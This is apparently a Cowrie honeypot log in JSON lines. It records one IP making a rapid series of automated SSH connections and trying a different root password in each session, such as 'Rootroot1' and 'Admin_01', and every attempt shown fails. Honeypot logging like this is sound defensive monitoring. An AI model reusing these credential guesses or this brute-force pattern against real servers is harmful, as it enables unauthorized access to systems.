{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53622,"dst_ip":"10.17.0.5","dst_port":22,"session":"1753c9160ce5","protocol":"ssh","message":"New connection: 60.165.124.241:53622 (10.17.0.5:22) [session: 1753c9160ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:59.449197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:59.457321Z","src_ip":"60.165.124.241","session":"1753c9160ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:59.694792Z","src_ip":"60.165.124.241","session":"1753c9160ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:00.415907Z","src_ip":"60.165.124.241","session":"1753c9160ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:01.659183Z","src_ip":"60.165.124.241","session":"1753c9160ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56676,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1e8ab86095","protocol":"ssh","message":"New connection: 60.165.124.241:56676 (10.17.0.5:22) [session: 2c1e8ab86095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:01.894096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:01.900552Z","src_ip":"60.165.124.241","session":"2c1e8ab86095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:02.139855Z","src_ip":"60.165.124.241","session":"2c1e8ab86095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rootroot1","message":"login attempt [root/Rootroot1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:02.867886Z","src_ip":"60.165.124.241","session":"2c1e8ab86095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:04.110351Z","src_ip":"60.165.124.241","session":"2c1e8ab86095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59580,"dst_ip":"10.17.0.5","dst_port":22,"session":"83813d3ea72c","protocol":"ssh","message":"New connection: 60.165.124.241:59580 (10.17.0.5:22) [session: 83813d3ea72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:04.367502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:04.374388Z","src_ip":"60.165.124.241","session":"83813d3ea72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:04.630757Z","src_ip":"60.165.124.241","session":"83813d3ea72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc1234%","message":"login attempt [root/Abc1234%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:05.408516Z","src_ip":"60.165.124.241","session":"83813d3ea72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:06.667672Z","src_ip":"60.165.124.241","session":"83813d3ea72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34436,"dst_ip":"10.17.0.5","dst_port":22,"session":"184acaaf03f3","protocol":"ssh","message":"New connection: 60.165.124.241:34436 (10.17.0.5:22) [session: 184acaaf03f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:06.897857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:06.906711Z","src_ip":"60.165.124.241","session":"184acaaf03f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:07.158169Z","src_ip":"60.165.124.241","session":"184acaaf03f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin_01","message":"login attempt [root/Admin_01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:07.920326Z","src_ip":"60.165.124.241","session":"184acaaf03f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:09.173533Z","src_ip":"60.165.124.241","session":"184acaaf03f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37434,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee8e1a68192","protocol":"ssh","message":"New connection: 60.165.124.241:37434 (10.17.0.5:22) [session: 6ee8e1a68192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:09.415801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:09.421395Z","src_ip":"60.165.124.241","session":"6ee8e1a68192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:09.731761Z","src_ip":"60.165.124.241","session":"6ee8e1a68192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin001","message":"login attempt [root/admin001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:10.462160Z","src_ip":"60.165.124.241","session":"6ee8e1a68192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:11.714917Z","src_ip":"60.165.124.241","session":"6ee8e1a68192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40506,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0f61f0f223","protocol":"ssh","message":"New connection: 60.165.124.241:40506 (10.17.0.5:22) [session: 4c0f61f0f223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:11.959657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:11.965083Z","src_ip":"60.165.124.241","session":"4c0f61f0f223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:12.201466Z","src_ip":"60.165.124.241","session":"4c0f61f0f223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX123","message":"login attempt [root/1qaz@WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:12.927959Z","src_ip":"60.165.124.241","session":"4c0f61f0f223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:14.166128Z","src_ip":"60.165.124.241","session":"4c0f61f0f223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"eca28ebd4b0e","protocol":"ssh","message":"New connection: 60.165.124.241:43544 (10.17.0.5:22) [session: eca28ebd4b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:14.403825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:14.414327Z","src_ip":"60.165.124.241","session":"eca28ebd4b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:14.653879Z","src_ip":"60.165.124.241","session":"eca28ebd4b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Adm!n@123","message":"login attempt [root/Adm!n@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:15.385707Z","src_ip":"60.165.124.241","session":"eca28ebd4b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:16.632661Z","src_ip":"60.165.124.241","session":"eca28ebd4b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46478,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fbd1f5860f3","protocol":"ssh","message":"New connection: 60.165.124.241:46478 (10.17.0.5:22) [session: 9fbd1f5860f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:16.865915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:16.873713Z","src_ip":"60.165.124.241","session":"9fbd1f5860f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:17.112486Z","src_ip":"60.165.124.241","session":"9fbd1f5860f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leslie","message":"login attempt [root/leslie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:17.835604Z","src_ip":"60.165.124.241","session":"9fbd1f5860f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:19.076699Z","src_ip":"60.165.124.241","session":"9fbd1f5860f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49558,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c68f4bf9515","protocol":"ssh","message":"New connection: 60.165.124.241:49558 (10.17.0.5:22) [session: 4c68f4bf9515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:19.308033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:19.313762Z","src_ip":"60.165.124.241","session":"4c68f4bf9515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com",